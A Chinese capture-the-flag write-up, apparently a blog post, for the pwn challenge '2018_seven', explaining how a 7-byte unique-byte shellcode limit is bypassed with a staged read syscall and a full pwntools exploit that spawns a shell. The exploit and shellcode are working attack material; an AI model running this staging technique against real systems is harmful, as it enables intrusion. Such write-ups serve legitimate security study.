铁人三项(第五赛区)_2018_seven

先来看看保护

保护全开,IDA分析

首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw

读入的都shellcode长度小于等于7,且这7个字符不能重复。

然后把一个叫initial的东西复制到rwx_page上,再把我们写的shellcode拼接到其后面

可能有些不太准,等会儿gdb调试的时候再看看

gdb调试进入执行的shellcode,分析一波

可以看到这是刚刚的那个initial,执行完了是这样的

RSP指向一片空白的区域。看到RAX,rdi为0,这里我想到了shellcode注入。我们要尽力构造sys_read来注入全部的shellcode,但是我们输入shellcode有限制。

这里我在调试的时候突然发现有的时候RSP跟RIP很近。因为RSP对应rw_page而 RIP:对应rwx_page,

这两块地址是随机的,所以存在他们离的很近的可能性。下图是我截到的图。

执行完initial的情况

好了我们现在只要做2件事。

  1. 构造read(0,RSP,len) 这里len必须要大一点
push rsp
pop rsi
mov dx,si
syscall

  1. 注入我们的shellcode,覆写syscall之后的指令
'A'*0xb37 + asm(shellcraft.sh())

毕竟这也是随机的,多试几次就行了。

exp:

from pwn import *
#context.log_level = 'debug'
context(os='linux',arch='amd64',endian='little')
p = process('./2018_seven')
#gdb.attach(p,'b *0x555555554d0b')
shellcode = asm('push rsp;pop rsi;mov dx,si;syscall')
p.sendafter('shellcode:\n',shellcode)
sleep(1)
p.sendline('A'*0xb37+ asm(shellcraft.sh())) p.interactive()

最新文章

  1. Macaca自动化测试之Android测试
  2. STL UVA 11995 I Can Guess the Data Structure!
  3. datagridview 列位置 设置顺序与加载显示顺序不一致
  4. background-origin
  5. js 作用域,变量提升
  6. 定制ckeditor的菜单
  7. StructureMap Exception Code: 207 Internal exception while creating Instance '06fc8bd7-76db-47c1-8d71-31090a074f5e' of PluginType QIMS.Repository.IComStaffRepository. Check the inner exception for more
  8. SharePoint 调用WebService操作List小记
  9. H5调用手机拍照并展示在前端页面
  10. 用html5实现音频播放器
  11. eclipse中如何自动生成构造函数
  12. Lucky 7 (容斥原理 + 中国剩余定理)
  13. 【PostgresSQL】同时更新两个表
  14. [ErrorException] "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"?
  15. idea 高级调试技巧
  16. 我来科普一下为毛很多人升级了20M的电信光纤宽带反而感觉速度更卡了
  17. Flash Player调试器版本的解决办法Flash Builder 找不到所需的Adobe
  18. Intellij IDEA 快捷键整理(转)
  19. 说说PHP中的命名空间相关概念
  20. linux 安装pip 和python3

热门文章

  1. css优先级和权重
  2. WPF权限控制框架——【4】抛砖引玉
  3. 卧槽,好强大的魔法,竟能让Python支持方法重载
  4. 查看浏览器 请求网页 中 header body cookie
  5. springMvc+AJAX+JSON的增删改查
  6. python进阶(12)闭包
  7. Flask:数据库管理
  8. go mod管理 init 和 包导入的关系
  9. pytorch(17)学习率调整
  10. 网络好不好,ping一下就知道